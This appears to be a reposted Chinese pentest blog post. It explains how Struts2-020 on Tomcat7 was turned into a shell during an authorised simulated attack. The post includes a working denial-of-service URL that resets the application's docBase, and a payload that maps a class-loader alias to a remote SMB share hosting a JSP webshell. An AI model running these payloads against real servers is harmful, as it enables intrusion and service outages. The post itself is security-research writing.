在云环境下Tomcat7存在Struts2-020 如何get-shell

Posted 安全微焦点

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了在云环境下Tomcat7存在Struts2-020 如何get-shell相关的知识,希望对你有一定的参考价值。

前言:离职ing,哪位大佬收人呀,本人能干,少吃,体力好!!!在一次给某甲方做模拟攻击中发现某网站存在Struts2-020,但是中间件是tomcat7不能直接getshell

 

1.      Struts2-020漏洞原理

  Objectjava的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以操控classStruts2-020允许访问直接映射到“getClass()”方法的“class”参数 ,这可以被利用来操纵所使用的应用程序服务器的ClassLoader。简而言之就是可以通过ClassLoader操控Tomcat的一些配置属性,这个漏洞在Tomcat8下是可以getshell的。如下图为tomcat8部分可控属性

Tomcat8如何getshell在网上一大堆这里就不演示了,大概步骤如下

  1. 更改Tomcat log为可执行文件,更改log文件名,更改日志路径至web目录下

  2. 初始化日志文件

  3. 通过URL访问,在日志中写入一句话

  4. 菜刀连接一句话成功getshell

2.Tomcat7如何getshell

一开始以为struts2-010tomcat下都能getshell,疯狂操作下一直失败,百度后才知道tomcat7无法操控日志属性。只能重定向web目录造成拒绝服务攻击。

拒绝服务攻击:


http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=”乱填就好”

但是只挖到一个拒绝服务攻击无法向甲方交差呀,甲方交不了差,老板就不高兴,老板不高兴,我的绩效考核危矣。拒绝服务攻击更是不敢打,上次模拟攻击把甲方服务打瘫了,最后一个外包也离我而去了。

在云环境下Tomcat7存在Struts2-020 如何get-shell

2.1本地枯燥调试

无奈之下只能在本地搭建环境把所有可操控的属性枚举出来。

把一个个属性试过去,看是否能利用的,挨个简单更改属性值后通过日志和变化来判断,发现并不能getshell,当我正要放弃的时候脑子里飘过一个红色的身影,亲切地对我说没有攻不破的系统,只有不努力的黑客。瞬间斗志满满!!!

2.2谷歌大法好

谷歌作为技术人员的好朋友,碰到技术问题谷歌就对了,一顿搜索之后在一篇老毛子写的文章中写到class.classLoader.parent.resources.dirContext.aliases不仅仅可以任意文件读取,文件路径是支持UNC path的即smb路径。这时候我就想既然支持SMB路径,搞个文件共享时候能执行命令?只要把文件共享设置为eve任何人可以访问就可以让网站读取到可执行文件,指不定就能执行了!!!

2.3本地搭建SMB服务并测试

搭建过程操作不难,在文件共享中放入一句话木马,再把网站的别名路径映射到SMB服务器。

Payload:

http://127.0.0.1:8080/struts2-blank/hello.action?class.classLoader.parent.resources.dirContext.aliases=\192.168.1.1muma.jsp

本地菜刀一连成功连接:

3. 云环境测试

因为目标是在云环境上,众所周知云环境大部分都是不对外开放445端口的。但是通过信息收集发现所在目标是在一个野鸡云环境上,因为之前接触过几家野鸡云服务器厂商,他们C段的445端口是互通的。我就在想这家厂商是否也存在这样的配置漏洞?

3.1金钱的力量

本来想在C段撸下一台服务器作为SMB服务器的,但是作为正义的白帽子怎么能做此等龌龊的事?只能把方案提出来,提交到上级申请经费。最后以目标IP旁边的某个IP数字吉利为由通过客服以1.5倍的价格买下了目标相邻的服务器,最终发现的确存在配置不当。C段的445端口可以相互访问从而Getshell成功。

 

写在最后:

网站渗透很少有一个POC或者EXP直接打穿的,遇到难题多思考,多搜索。不要放弃,不断尝试,尝试着尝试着就成功了。


以上是关于在云环境下Tomcat7存在Struts2-020 如何get-shell的主要内容,如果未能解决你的问题,请参考以下文章

新新手怎样在云主机上部署Html5项目

windows下solr7.9+tomcat7环境搭建

信息安全超级实践系列企业在云环境下数据基础设施的安全

Tomcat7调优及JVM性能优化for Linux环境

Tomcat7调试运行环境搭建与源代码分析入门

tomcat配置问题——进阶